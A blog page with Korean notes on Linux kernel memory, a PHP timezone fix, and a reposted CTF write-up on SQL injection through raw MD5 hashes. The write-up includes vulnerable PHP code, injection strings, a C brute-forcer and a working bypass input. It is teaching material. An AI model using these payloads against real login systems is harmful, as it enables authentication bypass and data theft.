즉 32비트 아키텍처에서는 대개 8KB 64비트에는 16kb 인데 이들은 각각 4, 8kb 의 페이지를 갖기 떄문이다.


물리적인 메모리가 단편화될수록 새 프로세스를 할당하기 위해 VM이 들여야 하는 비용은 증가한다.


이중에 어떤 할당 방법을 사용하는지가 결정하는것은 보통 물리적으로 연속적인 페이지가 필요하면 저수준 페이지 할당자나 kmalloc()을 사용한다.
이것은 커널내에서 메모리를 할당하는 표준적인 방법이므로, 아마도 여러분은 거의 이 방법을 사용하게 될것이다.
이들 함수에 주어지는 두 개의 공통 플래그가 GFP_ATOMIC과 GFP_KERNEL 이라는 사실을 떠올린다.
높은 우선순위의 휴면하지 않는 할당을 위에서는 GFP_ATOMIC플래그를 사용한다.
상위 메모리에서 할당하고자 한다면 alloc_pages()를 사용한다. 이 함수는 논리적 주소가 아닌 struct page 구조체의 포인터를 리턴한다.
이 상위 메모리는 자동으로 매핑되지 않으므로 여기에 접근하는 유일한 방법은 struct page 구조체를 사용하는것이다.


프로세스 주소공간

프로세스 주소공간은 각프로세스에 제공되는 선형주소범위와(더욱 중요한) 이 주소 공간 안에서 프로세스가 사용할 수 있는 실제 공간으로 나누어진다. 각각의 프로세스는 32비트 또는 64비트의 평평한 주소공간을 갖게되는데 그 크기는 아키텍처에 따라 다르다.
보통 주소공간은 각프로세스에게 유일하게 할당된다 즉 어떤 프로세스가 가진 주소공간의 메모리 주소를 알고 있더라도ㅡ 다른 프로세스가 가진 주소 공간의 메모리 주소에 대해서는 아무것도 알아 낼 수 없다.

하지만 프로세스가 자신의 주소공간을 다른 메모리 프로세스와 공유할수 있는데 이를 스레드 라 한다.

메모리주소는 4021f000 과 같은 주소 공간 안의 어떤 값으로 주어진다.
이러한 값은 프로세스의 32비트 주소공간에서 어떤 특정한 바이트를 식별 할 수 있도록 도와준다.
 흥미로운것은 08048000-0804ㅊ000 과 같이 프로세스가 접근권한을 갖는 메모리 주소들간의 간격이다.
이러한 합법적인 주소 간격을 메모리 공간이라한다.


페이지 테이블

비록 으용프로그램이 물리적 주소에 매핑된 가상 메모리상에서 동작 하더라도 프로세스는 직접 물리적인 메모리에 대해 동작한다
그러므로 으용프로그램이 가상메모리 주소에 접근할 경우 프로세스가 해당 요청을 처리하기 위해서는 가상 주소를 물리주소로 변환 해야 한다. 이러한 변환 작업은 페이지테이블을 이용해 이뤄진다.


하드웨어 캐시 TLB(translation lookaside buffer) 페이지 테이블을 도와 준다 이는 가상 주소에 접근하는 경우 프로세서는 먼저 해당 매핑이 TLB에 캐시 돼 있는가를 검사한다.

페이지캐시
PAGE CACHE 는 일반적으로 파일 시스템의 파일이나 블록 디바이스 파일 메모리맵파일등부터 생성된다. 이러한 식으로 페이지캐시는 최근에 파일을 접하면서 얻은 파일 모두를 저장한다.
한데 이 페이지는 비연속적인 다수의 물리블록이기 떄문에 이 사이에서 데이터를 찾기란 쉽지 않다
이러한 범용성을 유지하기위해 리눅스의 페이지캐시는 캐시 안의 페이지를 구별하기위해 address_space구조체를 사용한다.

커널은 페이지I/O를 하기전에 항상 페이지 캐시에서 원하는 페이지가 있는가를 검사해야하므로(flags 값이겠지?)이러한 검사 동작은 빠르게 이뤄져야 한다.



쓰기동작은 페이지 캐시를 통해 지연된다
페이지 캐시에 속한 데이터가 저장공간의 것보다 더 최신것이되면 해당 데이터는 dirty 해졌다고한다.
메모리에 쌓인 dirty페이지들은 언젠가 디스크로 다시 쓰여야하는데 이러한 과정을 라이트백(write back)이라 한다.

write back을 위해 커널 2.4 이전버젼에는 각각 2개의 독립적인스레드에서 처리하였으나 2.6부터는 커널 스레드 갱(gang)인 pdfflush 백그라운드 라이트백 데몬, 혹은 pdflush 스레드들이 이러한 작업을 한다.



모듈?

로딩가능한 커널 오브젝트로 묶을수 있으며 이것을 모듈 이라고한다
모듈은 지원 함으로써 시스템은 커널에 기본적으로 필요한 최소 기능만넣고 나머지의 부가기능과 드라이버는 모듈로 제공할수 있게된다
일반적으로 모듈이 로드되면 커널 안으로 동적으로 링크된다. 유저공간에서와 마찬가지로 동적으로 링크된 바이너리들은 명시적으로 익스포트된 함수들만 호출할수 있다.

(그럼 RTL은?)



OOPS --> 함수로 메모리가 표기된다
ksymoops --> 역추적 경로 상의 주소는 기호적 이름으로 변해야 한다.

커널 디버깅 TIPS
UID를 조건으로사용한다. 기존 알고리즘을 두고 새알고리즘을 추가하여 실행한다

if(current->uid!=7777){
/*이전 알고리즘 */
}

else{
/*새알고리즘*/
}

1초에도 수천번씩 호출되는 함수를 막기위해 빈도제한(rate limiting) 을 건다.
이렇게하면 콘솔에 정보가 넘처나는것을 막을 수 있고 컴퓨터는 정상 유지된다.
 
Posted by k1rha
2012. 3. 21. 02:38

phpinfo() [function.phpinfo]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you

most likely misspelled the timezone identifier. We selected 'Asia/Seoul' for 'KST/9.0/no DST' instead

원인이 먼지 삽질하다 찾아내었다..

php5.3은 date.timezone을 설정하지 않으면 php warning 이 출력된다...

그래서 php.ini 화일에서 date.timezone =Asia/Seroul 로 설정해야 한다 

Posted by k1rha
2012. 3. 21. 02:37

SQL injection with raw MD5 hashes (Leet More CTF 2010 injection 300)

Team Kernel Sanders t-shirts

The University of Florida Student Infosec Team competed in the Leet More CTF 2010 yesterday. It was a 24-hour challenge-based event sort of like DEFCON quals. Ian and I made the team some ridiculous Team Kernel Sanders shirts at our hackerspace just before the competition started. The good colonel vs. Lenin: FIGHT!

Here’s a walkthrough/writeup of one of the challenges.

Injection 300: SQL injection with raw MD5 hashes

One challenge at yesterday’s CTF was a seemingly-impossible SQL injection worth 300 points. The point of the challenge was to submit a password to a PHP script that would be hashed with MD5 before being used in a query. At first glance, the challenge looked impossible. Here’s the code that was running on the game server:

<?php
require "inc/mysql.inc.php";
?>
<html>
<head><title>Oh, Those Admins!</title></head>
<body><center><h1>Oh, hi!</h1>
<?php
if (isset($_GET['password'])) {
$r = mysql_query("SELECT login FROM admins WHERE password = '" . md5($_GET['password'], true) . "'");
if (mysql_num_rows($r) < 1)
echo "Oh, you shall not pass with that password, Stranger!";
else {
$row = mysql_fetch_assoc($r);
$login = $row['login'];
echo "Oh dear, hello <b>$login</b>!<br/><br/>Oh, and here's the list of all Admins!<table border=1><tr><td>Oh, login!</td><td>Oh, password!</td></tr>";
$r = mysql_query("SELECT * FROM admins");
while ($row = mysql_fetch_assoc($r))
echo "<tr><td>{$row['login']}</td><td>{$row['password']}</td></tr>";
echo "</table>";
}
} else {
?>
<form>Oh, give me your password, Admin!<br/><br/><input type='text' name='password' /><input type='submit' value='&raquo;' /></form>
<?php
}
?>
<br/><br/><small>Oh, &copy; 2010 vos!</small></center></body>
</html>
view rawindex.phpThis Gist brought to you by GitHub.

The only injection point was the first mysql_query(). Without the complication of MD5, the vulnerable line of code would have looked like this:

$r = mysql_query("SELECT login FROM admins WHERE password = '" . $_GET['password'] . "'");

If the password foobar were submitted to the script, this SQL statement would be executed on the server:

SELECT login FROM admins WHERE password = 'foobar'

That would have been trivial to exploit. I could have submitted the password ' OR 1 = 1; -- instead:

SELECT login FROM admins WHERE password = '' OR 1 = 1; -- '

…which would have returned all the rows from the admins table and tricked the script into granting me access to the page.

However, this challenge was much more difficult than that. Since PHP’s md5()function was encrypting the password first, this was what was being sent to the server :

SELECT login FROM admins WHERE password = '[output of md5 function]'

So how could I possibly inject SQL when MD5 would destroy whatever I supplied?

1337 hax0rs

The trick: Raw MD5 hashes are dangerous in SQL

The trick in this challenge was that PHP’s md5() function can return its output in either hex or raw form. Here’s md5()’s method signature:

string md5( string $str [, bool $raw_output = false] )

If the second argument to MD5 is true, it will return ugly raw bits instead of a nice hex string. Raw MD5 hashes are dangerous in SQL statements because they can contain characters with special meaning to MySQL. The raw data could, for example, contain quotes (' or ") that would allow SQL injection.

I used this fact to create a raw MD5 hash that contained SQL injection code.

But it might take years to calculate

In order to spend the least possible time brute forcing MD5 hashes, I tried to think of the shortest possible SQL injection. I came up with one only 6 characters long:

'||1;#

I quickly wrote a C program to see how fast I could brute force MD5. My netbook could compute about 500,000 MD5 hashes per second using libssl’s MD5 functions. My quick (and possibly wrong) math told me every hash had a 1 in 28 trillion chance of containing my desired 6-character injection string.

So that would only take 2 years at 500,000 hashes per second.

Optimizing: Shortening the injection string

If I could shorten my injection string by even one character, I would reduce the number of hash calculations by a factor of 256. After thinking about the problem for a while and playing around a lot with MySQL, I was able to shorten my injection to only 5 characters:

'||'1

This would produce an SQL statement like this (assuming my injection happened to fall in about the middle of the MD5 hash and pretending xxxx is random data):

SELECT login FROM admins WHERE password = 'xxx'||'1xxxxxxxx'

|| is equivalent to OR, and a string starting with a 1 is cast as an integer when used as a boolean. Therefore, my injection would be equivalent to this:

SELECT login FROM admins WHERE password = 'xxx' OR 1

By Just removing a single character, that got me down to 2.3 days' worth of calculation. Still not fast enough, but getting closer.

Lopping off another character, and more improvements

Since any number from 1 to 9 would work in my injection, I could shorten my injection string to just '||' and then check to see if the injection string were followed by a digit from 1 to 9 (a very cheap check). This would simultaneously reduce my MD5 calculations by a factor of 256 and make it 9 times as likely that I’d find a usable injection string.

And since || is the same as OR, I could check for it too (2x speedup) and all its case variations (16x speedup). Running my program on a remote dual-core desktop instead of my netbook got me another 10x speedup.

The final hash

After computing only 19 million MD5 hashes, my program found an answer:

content: 129581926211651571912466741651878684928
count:   18933549
hex:     06da5430449f8f6f23dfc1276f722738
raw:     ?T0D??o#??'or'8.N=?

So I submitted the password 129581926211651571912466741651878684928 to the PHP script, and it worked! I was able to see this table:

admins-table

Last step

The last step of the challenge was to turn the MD5 hash into a password. I could have used a brute forcer like John, but instead I just searched Google. The password had been cracked by opencrack.hashkiller.com and was 13376843.

The code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <openssl/evp.h>

// compile with: gcc -lssl find.c

int main(void) {

EVP_MD_CTX mdctx;
unsigned char md_value[EVP_MAX_MD_SIZE];
unsigned int md_len;
int i = 0;
int r, r1, r2, r3;
char rbuf[100];
char *match;

srand(time(0));

while(1) {
i++;
if(i % 100000 == 0) {
printf("i = %d\n", i);
}

// pick a random string made of digits
r = rand(); r1 = rand(); r2 = rand(); r3 = rand();
sprintf(rbuf, "%d%d%d%d", r, r1, r2, r3);

// calculate md5
EVP_DigestInit(&mdctx, EVP_md5());
EVP_DigestUpdate(&mdctx, rbuf, (size_t) strlen(rbuf));
EVP_DigestFinal_ex(&mdctx, md_value, &md_len);
EVP_MD_CTX_cleanup(&mdctx);

// find || or any case of OR
match = strstr(md_value, "'||'");
if(match == NULL) match = strcasestr(md_value, "'or'");

if(match != NULL && match[4] > '0' && match[4] <= '9') {
printf("content: %s\n", (char *)rbuf);
printf("count: %d\n", i);
printf("hex: ");
for(i = 0; i < md_len; i++)
printf("%02x", md_value[i]);
printf("\n");
printf("raw: %s\n", md_value);
exit(0);
}
}
}
view rawfind.cThis Gist brought to you by GitHub.

Final scoreboard

hax hax hax

Posted by k1rha